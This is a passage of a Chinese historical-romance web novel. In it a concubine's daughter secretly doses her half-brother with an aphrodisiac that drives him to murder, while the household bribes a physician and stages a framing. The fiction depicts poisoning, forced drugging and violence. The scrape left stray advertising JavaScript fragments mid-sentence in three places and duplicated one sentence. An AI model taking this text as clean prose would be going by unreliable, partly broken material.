“可惜,”沈恪叹道:“老夫无能,无法让他从历史洪流全身而退。这么多年,他都没能离开那片荒漠,只好做个落魄王爷,槛花笼鹤,实在委屈了他。” 沈恪说话有一遭没一遭,听得时枫一头雾水,不晓得他葫芦里卖的什么药,淡淡道:“家父做此选择,无怨无悔,伯父无须介怀。” 沈恪伤感一阵,突然话锋一转,“当年我救出来你爹后,他痛哭流涕,无以为报,竟厚着脸皮,直要与我结为亲家报恩。” 老头气得白眉乱翘,“哼,他想得美,彼时我家卿卿才刚满月,粉嫩晶莹如耀眼明珠,凭啥拱手送给你们时家。” “你爹一辈子,只得你们兄弟俩。时樾年岁稍长,配我家卿卿,着实大了些。唯剩你一个,我也没得挑选。” 什么?! 时枫牛眼瞪老大,他爹竟擅作主张,给他定下娃娃亲。终身大事,也不提前通告他一声。 茶烟袅袅,沈恪端起茶盏,吞了口温茶,咕噜咕噜浸润嗓子,“你是个好孩子,心地纯良,宅心仁厚。把卿卿交给你,我放心。” 老头捋了捋胡须,两眼露出喜色,“而今卿卿破瓜年华,女大不中留,也不能独守我这老骨头一辈子。此行我出来,特意带着卿卿,好叫你俩早日结成连理。” “你是怎么想的?”沈恪问道。 时枫呆呆地立在窗前,竟不知如何作答,脑子里一团乱麻,根本理不出头绪。他本能地想回绝,又怕伤了老人家的自尊心。 犹犹豫豫,欲言又止。 沈恪见他这副尴尬模样,权当他是,大姑娘上花轿——头一遭,大声笑道:“你与卿卿自小结缘,共同相处过好几年,彼此相知相识。我家卿卿乖顺听话,六艺经传皆通习之,模样身段一顶一,绝不会丢了你时家的脸面。” “这也是你爹的意愿。”沈恪强调。 他爹时谦是个老糊涂,世人眼里的“愚忠王爷”,哪里懂得儿女心思。 时枫眉毛拧成一团,脸色愈加发黑,铁面无情,还真应了他的绰号“冷面阎罗”。 阴森黑脸吓得沈恪一哆嗦,心里蓦然升起一丝懊悔,担忧女儿嫁给他会挨打受气。 忽然,时枫起手拜道:“伯父所言极是,然事关人身大事,请容小侄再多思虑几日答复。伯父先坐着,小侄还有公事要办,回头再来拜见,告辞。” 言毕,时枫一甩袖子,径自启门阵风般逃走了。 剩下沈恪独坐案前,望着窗外“蝴蝶”翩跹,气得吹胡子瞪眼睛,“跟你爹一个德行,倔驴脾气,不识好歹。卿卿嫁给你,我还舍不得呢,哼。” 翻阶蛱蝶恋花情,容华飞燕相逢迎。 那只小小蝶儿,迎着和风,追逐繁花,不经意飘落到时枫眼前,迷了他的眼。 沈枝意兴奋道:“枫哥哥,我好闷得慌,你明日带我去逛逛什刹海,好不好?” 时枫正受定亲一事烦扰,蓦然撞见他的“未婚妻”,心里顿时掀起莫名厌恶感。 男人站定一瞬,略微点点头,表示“他知道了”。旋即迈开脚步,大步跨过沈枝意,头也不回绝尘离去。 任凭身后半句话,余音缭绕,隐入风声。 “枫哥哥,说话要算数哦。” 伴随轻微叹息,“蝴蝶”怅然若有失,翅膀耷拉,再无心游戏花丛。 时枫行色匆匆,逃也似的来到书房,门前晴雷守候多时。 “爷去哪里了?”晴雷抱怨道。 时枫瞥了他一眼,嗔道:“有事快说,有屁快放。” 晴雷上前一步,低声道:“苏府‘鳐鱼‘刚刚飞鸽传书,府内出了人命案子,凶手正是苏家嫡子。苏家封锁门户,妄图遮掩丑行,正四处运作求人。” “苏绾呢?”男人语气迫不及待,他并不关心其他人死活。 晴雷回道:“苏姑娘平安无事,只是身子有些乏累,整日躺着不爱说话,想是受了惊吓。” “哦。”男人焦躁的心,犹如淬火的铁砧,迅速平静冷却。 既非苏绾的过错,那她暂且算是安全,他也不必再替她担忧——推她入火坑的错误,他不想犯第二次。 时枫长舒一口气,坐定下来,摩挲束腕间镶嵌的绿松石,“是怎样一出命案?” 终于被问到关键之处,晴雷眼眸一低,“据眼线传报,苏尽欢醉酒恶意□□妇人,中途遇一老妪阻拦,苏尽欢借酒劲持木凳行凶,将老妪活活砸死。现场......”话至此处,晴雷欲 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 言又止。 “如何?” 晴雷咽了口水,“现场血流成河,死者被捣成肉酱,堪如菹醢之刑。” 苏家的那位浪荡公子,手无缚鸡之力,竟然做出这等悍事。 时枫眉头扬了扬,似要考查少年一番,“何故如此?” 晴雷思索片刻,“单单醉酒一项,不致让人疯狂。属下未经现场勘察,仅凭妄自猜测,凶手服用某种致幻药剂,精神错乱导致。” 致幻药剂?难不成...... 男人眉头一蹙,眸光深沉,幽黯如同深夜,负在身后的双手,紧攥成拳。 * 今时五月天不似往年,一点暖热全无,阴冷似清秋。薄薄乌云蔽日,映照大半灰蒙蒙天空,令人感到压抑而沉闷。 苏绾和无霜被临时安排睡在曾经的旧屋,屋中物件早已搬空,不得不央求管事嬷嬷,调来紫竹苑的床褥。因旧屋久未有人居住,无霜又同管事嬷嬷讨了鹅梨帐中香熏,去除房间阴湿霉味。 苏绾百无聊赖躺在床铺,宝鸭香烟袅袅,妃色缎面床帏垂落,乳白流苏半开半放,仿佛又回到纳征那日的场景。 他既知道她急于摆脱婚约,总不至于言而无信,哄了她去。然则她亦无十分把握,唯祈祷自己没有看错人。 帐外无霜细声道:“小姐两三日没好好吃饭,身子骨怕是要垮了,霜儿跟伙房要了一碗燕窝粥,小姐好歹吃一点,垫垫肚子。” 伙房的厨娘向来好吃懒做,平白无故怎会留碗燕窝粥给她?多半是无霜趁人不注意,偷偷从昏迷不醒的苏尽欢药膳里腾挪出来。 苏绾撩开床帐,勉强坐起身,无霜趁机塞过靠枕,垫在苏绾身后。苏绾倚靠坚硬床框而坐,柳叶弯眉上翘,浑身遍体肌肤,没有一寸不痛,没有一方完璧。 无霜递上一匙粥,送进苏绾口中。绵润软糯粥米,带着燕窝的细腻,滚入喉咙,温暖肠胃。 苏绾垂眸,“那边有何动静?” 无霜搅动汤匙,“老爷派人请来一位宫里的太医,好像姓隋,说是给大少爷治病。可那位隋太医把了七回脉,一会儿说癔症,一会儿又说中邪,还说被鬼魅附身,叫人找道士驱鬼。” 无霜瞬目,“他们做梦都不会想到,大少爷原来是中毒,吃了一大包合欢散,癫狂发疯所致。” “咳……”一口粥没咽下去,呛了苏绾一下。 无霜抽出条帕子,轻轻擦拭苏绾嘴角,语气充满疼惜,“慢点吃。” 擦拭干净,无霜收起帕子,面容忧虑,“大少爷发疯,杀了刘嬷嬷。老爷封锁门户,不叫任何人出入。夫人对内严查事情真相,倘若有朝一日查到小姐头上,如何是好?” 苏绾淡然道:“不会的。我自有分寸。” 她事先安排文竹同苏尽欢的小厮互通有无,在确定苏尽欢有使用合欢散的习惯之后,才下的手。她不怕被人查出是她下的毒,反正苏夫人已然明目张胆迫害她,她也不惮同苏家撕破脸皮。 她担心的是,苏家暗中运作,收买人心,苏尽欢杀人罪行被遮掩隐藏,此事结果最终不了了之——那她所有的筹谋划策,皆付水东流。 眼下她被困囚于宅院,不得出入,如何才能将消息扩散出去,为舆论监督造势,引来上级部门查证? 是个难题。 忽然婢女叩门,“夫人请二小姐后厅叙事。” 无事不登三宝殿。 无霜先慌了阵脚,“不好,想是夫人发现端倪,要将小姐治罪。” 苏绾握紧无霜手腕,“莫慌。倘若我出了问题,你叫文竹想办法从狗洞钻出去,递口信给东城时将军府。” 无霜惊道:“不去找姑爷吗?小姐找那黑狗将军作甚?” 万万不可惊动温如初,否则她将再度陷入被猜忌怀疑的困境,下一次,她绝无机会逃脱魔掌。 窗外云暗日将暝,山雨欲来风满楼。乌云压顶,苏绾一颗沉重的心,跟着坠入万丈深渊险境。 31. 中邪 情知苏夫人召见她,一准没好事,然苏绾也别无他法。她低声嘱咐无霜几句,自己穿了一件旧石榴裙,也未施粉黛,匆匆出门离去。 苏绾来到后厅,见门前有婆子把守,十分不寻常,她定了定心口,客气问道:“夫人找我?” 婆子不吭声,转身伸手一扯,“吱呀”,房门顿开。 刹那间,腥重香灰气味奔涌倾泻而出,冷不防扑了苏绾一脸,呛得她直咳嗽。 “咳咳......” 漫天灰阵之间,几重人影幢幢,吞云吐雾。不知道的,还以为苏绾意外闯入神仙洞。 万丈霞光灿烂,光辉凝结之处,苏夫人端坐莲花蒲团,双手结印,双目阖合,眉间一点朱砂,口中念念有词: “人来隔重纸,鬼来隔座山。千邪弄不出,万邪弄不开。” 苏夫人念的是道士传授给她的防鬼咒,她偏信这类驱魔招术,苏沅芷和苏尽欢小时候,有个头疼脑热一类小病,经常找高士化解。 苏尽欢疯癫疲惫,昏迷三日不醒。太医院的隋吏目问诊七次,终下结论——“府上公子中了邪祟”。 苏夫人如梦方醒,立刻焚香打坐,替儿子驱鬼。无奈又不懂道家驱鬼法术,随口胡诌八扯。 苏绾障袂低笑,蹙眉揶揄道:“母亲这样装神弄鬼也不是个法子,别是恶灵没退散,反倒招来三两野鬼。” 苏夫人丹凤眼翻了翻,捏着嗓子反驳:“请神容易送神难,管它魑魅魍魉,我自有办法对付。” 婆子扶苏夫人起身入座,下人们撤去蒲团,压灭香炉火芯,扇走满屋飞灰。待烟消云散,屋内人影方才显露真身。 苏绾打眼一看,上座坐着一位精瘦男子,四十岁左右,留着八字胡须,穿着太医院的白衣马褂。不知何故,男子贼溜溜的黑眼睛,紧紧盯着自己不放,好似要将她看个通透。 苏绾被他看得浑身不自在,以为遇见登徒子。她假装不在意,刻意躲避磁石般的目光。可任凭她逡巡几个来回,总能撞见那对贼眉鼠眼。 苏绾忍不住怒道:“这位想必是太医院的隋大夫,有劳你替舍弟诊断,苏绾不胜感激。既然大夫与母亲有事商谈,苏绾不便叨扰,先行退避。” 她转身旋裙要走,却被苏夫人叫住,“慢着,谁让你走的?”转头命令道:“来人呐,将二小姐拿下。” 旁边二婆子应声而至,不等苏绾反抗,将她胳膊反扣,死死抵住背脊。 苏绾弓着腰,勉强抬起螓首,惊呼:“母亲何故如此?” 苏夫人丹凤眼一横,环腰大骂:“大胆逆女!你与姨娘暗地串通,施展南洋蛊术,给我儿下降头诅咒,导致我儿疯癫发狂,昏睡三日不醒。你可知罪?” 苏绾急道:“冤煞我也!女儿怎可能做出如此大逆不道之举?母亲何出此言。” 苏夫人厉色道:“还敢狡辩?隋大夫亲自下的诊断,还能有假不成?” “咳咳……” 隋太医坐正身体,清理喉咙,摇头晃脑道:“令公子醒时疯疯癫癫,睡时无知无识,全身经脉通畅,并无伤毁异象,老夫诊断,当受邪祟冲撞所致。” 苏绾哭道:“凭他两三句痴言妄断,根本不足为信。弟弟无故发癫病,必有源头起因,许是吃错东西,又或者幼时落下病根。天地稀奇,太医院的大夫竟做起道士行当,口口声声说什么中邪,真真冤杀我也。” 隋太医脸色瞬间沉黯,起手一拍桌案,啪的震动四方,两撇八字胡须微微颤抖,食指举向青天,赌咒发誓:“老夫供职太医院,以岐黄之术,悬壶济世十八载,断不会看错病。贵府公子的的确确,真真正正,中了邪祟。” 苏绾冷笑道:“母亲既如此笃定,怎不请白云观的张真人来家里驱邪?遮遮掩掩,关起门装神弄鬼,可见中邪一说并不可信!” 她突然将球抛给苏夫人,说得苏夫人一愣,暗暗攥紧帕子。 那晚苏尽欢癫狂发作,奸霪乳娘捣杀婆子,本人无知无识,不闻不问,一旦被触碰身体,则如饿狼般凶猛,四处乱咬人,七八个家丁合力也不得行。最终由壮硕马夫横头一棍击打后脑,这才强行制服他。 其后便是接连几日不省人事,苏夫人责怪马夫下手过重,又不敢公然驱逐他,怕闹出太大声响走漏风声,只罚去倒溺桶。 苏君识对外宣称身体有恙,跟吏部衙门请了病假。五月初八一早,苏夫人以苏君识的名义,太医院请来“无事可做”的隋太医。 隋太医也算机灵之人,进门一看,苏君识身体康健,油光满面,健步如飞,便知此事有猫腻。他抹了抹八字胡须,眼珠滴溜溜转,拖着长音道:“苏郎中这病例诊断,叫老夫如何下笔呐?” 苏夫人堆笑道:“我家老爷端阳吃多糯米粽,肠胃经久不适,大人酌情诊治。至于其他事,请大人放心且行,我苏家不会亏待大人。” 说着,婢女端来一盘金锭,足足十盏之多。 隋太医在太医院不过混个吏目,薪俸区区五十两,养家糊口而已。这笔钱财于他而言,简直是巨资。 苏夫人道:“这是一半诊金,事成之后,再付另一半。”她瞥了一眼苏君识,“太医院医官考核,归属吏部权职范畴。隋大人医术高超,青囊之术,普济众生,吏目一职有些屈才,当升院判才是。” 隋太医一听,要升他做院判,竟有这种好事,当即一口应承,正正经经给苏尽欢切脉。 哪知苏尽欢之病情,复杂又简单,简单却复杂。凭他的医学经验,竟完全看不出患者真正病因——服用合欢散过量,导致精神错乱。 隋太医寒窗苦读十载,兢兢业业十八年,所诊治的病人要么皇亲国戚,要么达官贵人,何曾有嫖客流氓之流?他既不想放弃唾手可得的院判,也心疼即将到手的廿盏黄金,无奈之下,信口开河,谎称患者中了邪祟。 苏夫人亦不是没见过世面之人,中邪一说根本站不住脚,不说别的,她自己就不相信鬼神之说。往日那些小打小闹只为求心安,谁还真相信,道士烧两张黄纸能治病救人? 她何尝不想请张真人坐镇,给自己撑场面。然白云观乃皇家道观,宫中的贵妃娘娘都去那里祈愿求福。这时候麻烦张真人,不是往刀口上撞。 知道的人越多,儿子处境越危险。 换个角度想,假如苏尽欢受坏人诅咒,导致“失心疯”,兴许有机会逃脱法理制裁。如此一来,须找到下降头的“凶手”,或者说“替罪羊”。 而这个人,就是苏绾。 苏夫人冷笑道:“你少在那里转移视听,我请不请张真人,关你什么事?你先说明白,如何给我儿下降头。这难道不是,你,姨娘,乳娘,三人合伙搞的仙人跳?” “你利用乳娘勾引我儿,背后密谋下蛊,致我儿神志不清,你再威胁敲诈他。看门的刘嬷嬷发现你的诡计,欲当面拆穿,结果一不小心做了替死鬼。” “你还有什么话好说?” 苏绾嗤笑道:“母亲好会猜想,编纂这样一出闹剧,将屎盆子扣到女儿身上。你可有证据证明是我捣鬼?” “抓人审问,怎会没有证据?”苏夫人自袖里掏出人形布偶,“啪”的掷在地上。 众人打眼一看,巴掌大的布偶,胸前绣着仨字:苏尽欢,浑身上下插满绣花针,好似一只刺猬。 “这东西是在你房里发现的,藏在床底处。” 又差人押解蓬头垢面妇人,面色苍白无力,眼神凌乱惊恐。 “乳娘全都招了,系你强迫她所为。” 苏夫人果然久经沙场,不打无准备之仗。她捏着帕子,轻拭嘴边唾沫,迤迤然道:“你还有何辩解?” 人证物证俱在,且有医官认证,事实胜于雄辩。这下子,连苏绾都觉得,事情是她做的。 苏绾决定不装了,她垂下眼帘,冷哼一声,“母亲糊涂,竟被无知小人坑骗了去。” 身子用力一挺,甩开婆子的束缚,凛然相对,“端阳夜乳娘遭人祸害,至今精神恍惚,人都认不得几个,如何能作证?你问她端阳晚宴吃的什么菜,她可记得清楚?” “至于那诅咒布偶,更是可笑。满京城皆知,我苏绾绣工上乘,手艺不输织造局和外国贡品。母亲睁开眼睛瞧瞧,那粗制滥造的作品,别别扭扭的针脚, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 可是出自我的手笔?” 眼眸一沉,“枉顾事实真相,偏信庸人诊断弟弟病因,胡诌乱扯为中邪,更加可笑至极。母亲竟不知道,弟弟这副疯癫模样,是由合欢散所致?” 合欢散?仨字从苏绾嘴里蹦出,惊诧一众人等。 苏夫人从未听说过此物,忙问隋太医,“合欢散乃何物?” 隋太医隐约记得,教坊司的太监曾跟他提过一嘴,抱怨皇宫侍卫携入宫中一种民间下三滥药物,用来祸害宫女。 他的医疗方向专攻后宫娘娘嫔妃內疾,从未接触此等淫物,除了听过名字,对药性几乎一无所知。 隋太医抹了抹八字胡须,支支吾吾道:“不是什么好东西,不知道也罢。” 苏夫人询问一圈,问及苏尽欢的贴身小厮,开始不肯说,再三查问,才极不情愿开口道:“行院内部兜售的催情助兴药。服用少量怡情,过多引火烧身,须即刻泄火。” 如此一说,苏夫人终于听明白了,丹凤眼一沉,怒道:“少爷可曾用过?” 小厮跪地磕头不迭,“少爷常吃此物,都是跟相帮手里买的,小的不敢隐瞒。” 苏夫人一听,气得脸色青白,即刻唤人去苏尽欢的房间搜查。很快,仆役查出一包白色粉末,足足一斤多。 苏夫人不信邪,非要贴身小厮当场服用,看他是否也会疯癫。那小厮当然不肯,拼命磕头求饶,连喊饶命。 苏夫人杏眼圆睁,掐腰怒吼道:“给我摁住他,扯脖子灌药。” 七八家丁领命,压迫小厮,捏住下巴,强行倒入大半包。粉末纷飞,呛得小厮咳嗽,眼泪如注。 众人退成一圈,围绕小厮躺在中间,观察他变化。 一刻钟后,小厮果然不对劲,两眼放出红光,不停抓挠喉咙,直呼:“烧死我了。” 俄顷开始匍匐爬行,嘴巴张开,舌头外伸,呼哧带喘,垂涎不绝。 随手抓住一家丁,二话不说骑上脖颈,惊得家丁詈骂:“日你大爷的。” 小厮人性全无,化作野狗狂吠撕咬,咬得家丁血肉模糊,鬼哭狼嚎:“妖怪吃我!” 情景惊悚震撼,比之苏尽欢当晚,犹过之而无不及。 苏夫人吓得肝胆欲裂,扶着椅臂拼命向后靠,紧急下令:“快叉出去,扔进地窖。” 家丁一气而上,费劲周折总算拿住发癫的小厮,五花大绑带下去。 苏夫人方松口气,捂住胸口道:“阿弥陀佛,这东西要命啊。”她转眸望向隋太医,不禁有些动怒,“隋大人行医这许多年,竟不知此物厉害?” 见小厮癫狂一幕,隋太医倒还算镇静,后宫被人折磨致死的嫔妃多了去,更加恐怖的景象他也见过。当年悦贵妃癔症发作,直言有人害她,握着把金剪,生生活剖自己的肚腹,揪出肠子翻找“毒药丸”,最终落得肠穿肚烂血竭而亡。 正回忆间,突然被人披头质问行医资格,隋太医抹了抹八字胡须,眼睛贼溜溜转,将矛头调向苏绾,“此物淫邪低俗,苏二小姐又怎会知晓?贵府家教学识渊博,果真书香门第,老夫佩服佩服。” 苏绾噗嗤一声笑,“呵呵,我娘是行院的花娘,被人捉奸沉塘溺死。我是娼妓生的崽子,天生的贱种,当然知道合欢散。你技不如人,还敢挂上太医院的名牌,招摇撞骗。啧啧,吏目一职,实在算是高就了。” 苏二小姐乃妾室所生,京中圈子里不算秘辛,然隋太医仍震撼不已。倒不是怜惜苏绾身世可怜,他脑子里想的,全部是被人嘲讽医术不精的羞赧。 这份羞赧渐渐扩大,掺入对苏家权势的忌惮,他开始痛恨起苏绾来。恨意勾连回忆,抽丝剥茧,隐藏在记忆深处的一丝印象,慢慢浮出水面。 上个月在大理寺衙门书房,昏迷不醒被他诊断的女子,不就是眼前的苏二小姐?可苏家二小姐同户部温侍郎缔结婚约,且是圣上御笔钦点,又怎会是京卫指挥使的填房夫人? 这就有意思了。 隋太医哂笑道:“哼,果不其然,苏二小姐一边勾引温侍郎,另一边通奸时将军,还真配得上自己的出身,老夫今日,也算开了眼呐。” 32. 软禁 “你说什么?”苏夫人瞪大丹凤眼,以为自己听错了,急急地从座位上站起身。 隋太医见自己掌握住先机,得意地捋了捋胡须。苏二小姐与苏夫人之间,貌似有着怨怼和隔阂,隋太医等于掉进二人争斗的漩涡之中,不得不选择一方。 他捋起衣袖,口沫横飞,绘声绘色描述他在大理寺书房见闻,用词形容颇为大胆辛辣,拿出了他给后宫嫔妃传谣造谣的气势。 唬得苏绾浑身冰凉,她只道是自己晕倒在大牢,醒来时却是躺在书房,还以为真就只有一碗粥的交情,未曾想那个家伙,为了救醒她,也算颇费了一番心思——虽然请了个庸医,连她被针刺也诊断不出。 苏夫人却好似捡到了宝贝,嘴角挂着笑意,乜斜苏绾,“我就说你们两个有苟且,果真如此!” 她心下立刻有了主意,一方面,她终于抓住庶女通奸的真正证据,凭借隋太医的证词,可报先前苏沅芷容貌被毁之恨。 另一方面,苏尽欢见色起意,下手没有分寸,食多合欢散,导致崩溃癫狂,□□乳娘,捣杀嬷嬷。如此一来,苏尽欢从受害者,直接转为施暴者,性质有所改变,结果亦天壤之别。 苏夫人捻着帕子,心事回笼几遍,把眼瞧了苏绾一番。这贱婢居然套牢俩男人,不怪她早前就看出端倪。眼下绝不能放走隋太医,否则让他通风报信给任何一方,苏家都难以应对。 隋太医见事已成,想溜之大吉,起身拜道:“贵府既查得病根,我也无须在此逗留,就此告辞。” 隋太医见事已成,想溜之大吉,起身拜道:“贵府既查得病根,我也无须在此逗留,就此告辞。” “慢着。大人既然来了,哪能说走就走?!”苏夫人丹凤眼眸一沉,眼底露出狠戾之色。 隋太医情知此事没那么简单,举袖擦拭额间细汗,声音颤抖,“夫人还有何事?” “大人红口白牙,不顾是非曲直,硬说小儿中了邪祟,端的是何居心?你们二人分明就是一伙的,串通一气,包藏祸心。还敢各自喊冤叫屈,企图混淆视听。甭想跨出我苏家的大门。” 苏夫人眉间一沉,叫来三四家丁,不由分说摁住隋太医,关进隔间软禁。 隋太医破口大骂:“苏郎中好大的胆子!竟敢纵容妻妾行凶,光天化日绑架太医院吏目。我要去圣上面前告御状,诛你全家九族!” 喊声阵阵,整个苏府听得一清二楚。 芸娘躲在书房床榻角落,蜷缩一团,瑟瑟发抖。她满面泪痕,望向座椅上堆着的苏君识,带着哭腔,“夫人疯了,老爷救我。” 自出事以来,她没睡过一次整觉,夜夜噩梦惊醒。梦里面总有一个满脸血污的刘嬷嬷,扯住她的裤管哭嚎:“还我命来,还我命来。” 她的旧屋撒满石灰,恶臭难闻,早已改造成杂物间,堆放破烂旧衣服等。芸娘无处可去,只好“光明正大”住进苏君识的书房。好在苏君识也一同搬进来,理由是他的房间被宝哥儿占领。 芸娘已三日未见宝哥儿——乳娘神情呆滞,已然唬破胆子,根本伺候不了小宝贝。为此芸娘千方百计想抱回宝哥儿,都被管事嬷嬷严词拒绝:“夫人有令,小少爷住夫人房,自有人喂养。” 扣押她的孩儿,封锁苏家门户,苏夫人意图太明显——捉出替罪羊,为苏尽欢抵罪。 而她,就是头号“冤大头”。 芸娘曾想同苏绾通气,串联口供,不至被人拿了把柄。然而苏君识躲在书房深居简出,她也没机会出门。 直至今日,听闻苏夫人堂前审问苏绾,情景惊心动魄,又不知何故绑了太医,芸娘吓得肝胆俱裂,以为苏夫人要拿全家性命祭天。 她挣扎爬起身下榻,趿拉绣鞋,跪在苏君识面前,声泪俱下喊救命。 此刻苏君识坐立难安,苏家以他的名义向太医院求医问诊,结果苏夫人未跟他通报,竟然擅自囚禁隋太医,真要告到皇帝面前,那可是要掉脑袋的。 儿子前途固然重要,他自己的性命也不能丢啊。苏君识怒火中烧,又不敢跟苏夫人当面对峙,只气得吹胡子瞪眼睛,跌在太师椅里唉声叹气。 芸娘哭道:“老爷何不去找姑爷来救命?姑爷好歹是三品大官,总能说上话。” 苏君识抬起老眼,望了一眼芸娘,指着窗外骂道:“你当我不想找人救火?好好的一门婚事,让她搅合得昏天暗地,差点就告吹。我跟她说了多少次,做人须留有余地,她偏不听。你看看,火烧眉毛了,她还要火上浇油,哪个好人肯帮忙!” 那桩和亲冤案尚未了清,现在去求温侍郎,不但得不到半点帮助,没准还被反咬一口,直接刑部揭发检举他。 芸娘沮丧道:“那就眼睁睁看着全家性命,断送在夫人手里吗?” 苏君识一拳砸在案面,震得砚台颤了颤,咬牙切齿道:“她敢!” 倘若苏夫人就此栽倒,他已准备好,把全部罪责都推到她身上,治她一个毒妇的罪名。反正从头到尾,他不曾掺和过半点她的事,手里还捏着不少关于她的犯罪证据。 朝廷最多削去他的品阶,他也不怕,就当提早告老还乡。到时候,他再把芸娘扶正,关起门来做一对神仙眷侣,宝哥儿顺其自然成为嫡子,一家三口,和乐融融。 如此一想,苏君识心情宽解许多,也没那么气了。他伸手扶起芸娘,搂在怀里,信誓旦旦,“没事,天塌下来有我撑着。这个家散不了。通县宝坻那处院子,都给你留着呐,一准儿给你们娘俩过好日子。” 芸娘迷迷糊糊,听闻苏君识保证让她过好日子,又有些欣喜,她钻进胖胖怀抱,嗫嚅道:“妾不求富贵荣华,唯有与君长相依。” 佳人嘤嘤絮泣,苏君识一高兴,又从怀里掏出一沓银票,也未细数,通通塞给芸娘。 这边温香软玉,那边剑拔弩张。 押走隋太医,苏夫人饧眼望向苏绾,“你也别得意太早,不是你下的降头,不代表你就没罪,合欢散那事还没翻篇儿。我要彻查清楚整件事情,谁都别想蒙混过关。” “我不会给你任何机会,让你去找温侍郎救命。你就待在这家里,跪地祈祷事情跟你没牵连罢。” 一波未平,一波又起。 才撇清自己被栽赃陷害的嫌疑,转眼间又掉入囚禁束缚的境地。 苏绾捋一缕青丝别向耳后,态度不卑不亢,“母亲尽管放心,我自不会离开这个家半步。人正不怕影子歪。不是我做的事情,谁也别想赖我头上。” 苏绾侧身道了万福,踩着夕阳余晖,离开后厅回到西厢房,撞见焦急万分的无霜。 无霜眼眸噙着两汪泪水,“小姐可曾受委屈?我听说,夫人要治小姐罪名,难道露了马脚?霜儿好担心你。” 苏绾抚摸无霜头顶,“我没事,他们伤不得我半毫,一切尽在掌握中,放心吧。” “我的嫌疑已洗清,他们在苏尽欢房里,也发现了合欢散。” “竟然有这么巧的事?老天爷保佑。”无霜破涕为笑。 见苏绾浑身上下完好无损,无霜稍微安心,抬起衣角拭泪,蓦然想起另一桩事,挥舞着小手急道:“你看我这记性。霜儿闻听小姐出事,赶紧叫文竹去找时将军救急。文竹在院子里摸索半日,回来告诉我说,家里的狗洞都被铁丝网围起来,钉死在墙壁上。” “他还想偷偷翻墙出去,无奈院墙太高,他又不会武功,只好灰溜溜地回来了,这会子在马厩里面跟马儿诉苦呢。” “小姐,我们出不去怎么办?” 这倒是个问题。 她不能一直坐以待毙,等苏家躲过风头浪尖,再想拿住苏尽欢把柄,为时晚矣。 她估摸着苏夫人的计策,不过就是暂且封锁消息,暗中处理掉尸体,摧毁所有证据。等到苏尽欢苏醒以后,再打开大门当做无事发生。 刘嬷嬷卖断身份来到苏家,世上无亲无故一身轻,外人断不会追究一个贱籍婆子的下落。即便有人告到官府,一点证据皆无,如何跟达官显贵抗衡? 苏夫人本意是要寻找替罪羊,顺便处置芸娘和苏绾,结果被苏绾反将一军,苏夫人的日子亦不好过。扣押囚禁朝廷命官,吃不了兜着走,这可是掉脑袋的罪名。 她判断苏夫人不过虚张声势,杀鸡儆猴。背后定会威逼利诱隋太医做伪证,以殷舅舅权势相要挟,以功名利禄引诱他,双管齐下。 局势风云变幻,苏绾尚且能够自保,恐难定苏尽欢的罪名,几日的辛苦奔波,难免付水东流。 窗外斜阳恰时而入,剑虹光柱被窗格割断七零八落,好似苏绾此时的心情,碎成一地粉齑。 “霜儿,打开窗户,屋里有点闷。” 夕阳西沉,落下帷幕。满天星斗,半弯弦月,一高一低,宿住池塘水光泓泓。 苏绾坐在窗前,支颐望着窗外。屋内没有点灯,池水波光粼粼,映照她的星子眼眸里,蒙上一层紫色迷雾。 无霜翻出一件褙子,披在苏绾身上,“更深露重,小心着凉。”又起身端来水壶,给苏绾泡了一杯热茶。 苏绾端起茶杯,眸子里倒映茶烟缥缈,“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 今晚你回下房歇息吧,顺便看看乳娘,白日里我见她还有些萎靡,不大认人的样子。” 无霜看出来苏绾神色不对,“小姐设计扳倒少爷,却无心伤到乳娘,觉得愧疚?” 苏绾垂下眼眸,握着茶杯,“没什么愧疚不愧疚,一个巴掌拍不响,她若安守本分,也不会有今日之下场。一切皆由因果报应。” 当初乳娘求财心切,竟敢给宝哥儿灌药,被芸娘逮个正着,撕打之间露了皮肉,引来饿狼苏尽欢。 一切诸果,皆从因起,一切诸报,皆从业起。因果不虚善恶有报,浮生若梦蹉跎,奈何桥怎度奈何。《涅槃经》云:善恶之报,如影随形;三世因果,循环不失。 无霜会意一笑,起身点燃银烛,“小姐嘴上说不在意,心里面还是不忍心,也罢,霜儿这就去探望乳娘。” 无霜擎烛离去,廊檐下留下一串轻薄的脚印。 舞鸾镜匣收残黛,睡鸭香炉换夕熏。袅袅夜风吹梦,缥缈鹅梨帐中香。 苏绾胡思乱想一阵,渐渐地,眼帘低垂,神思恍惚。她顺势埋首案前软垫,任晚风撩动如瀑青丝。 星海朦胧中,听见房门“吱呀”一声,又戛然而止。脚步声音很轻,好像猫儿行走。 苏绾只当是无霜忘记拿东西,头未抬,迷迷糊糊道:“我这就上床去,你先给我揉一揉肩膀,这会子落枕,颈子酸得厉害。” 沉寂一瞬,褙子被撩起,一双手摸上后背,轻柔按摩肩颈。 力度适中,苏绾并未感到异常,打了一个小小的呵欠,梦呓般喃喃道:“婆子下手有点重,后背也有些酸痛,你再帮我按按腰。” 那双手停了一瞬,缓缓探进内襟,顺着缝隙伸入。 苏绾吓得一激灵,倏然转身向身后看去。那双手还停留在后背,被力量带动着旋转,由着她顺着胳膊滚进怀里。 待苏绾睁开迷蒙的眼,看清来人面貌,神情一震,差点叫出声来。 “你……” 男人一身玄衣,目光如炬,表情冷肃,双手环抱着她。 “闭嘴,你想引来所有人吗?” 话虽如此,男人却没有松手的意思。 苏绾顿时满脸绯红,她虽与时枫有过肌肤之亲,但眼前实在尴尬,恨不得找地缝钻进去,一了百了。 她不知是该往前贴,还是该向后稍,举着双臂半展开做投降状,咬着嘴唇压抑心中的惊异,“你怎么来了?” 夜风吹醉舞,明月不谙离恨苦。滚烫的手掌捧着冰绡肌骨,融化为一抔清水,浸染离愁别虚,丝丝缕缕入骨,沁入时枫的心肺,又从心尖处,荡漾开无边无际的波纹。 男人低下头,睨着那双星眸,如坠银河三千。观其面容憔悴的脸,病如西子胜三分,几日不见消瘦许多,凤眸渐渐冷了一层。 “你方才说,‘婆子下手有点重’,是什么意思?”语气不容辩驳,好似审讯犯人。 箍着身体的双臂不肯松开,苏绾只好将就着,“举手投降”状,“那也没有你的手重,你先放开我啊,我有点儿透不过气。” 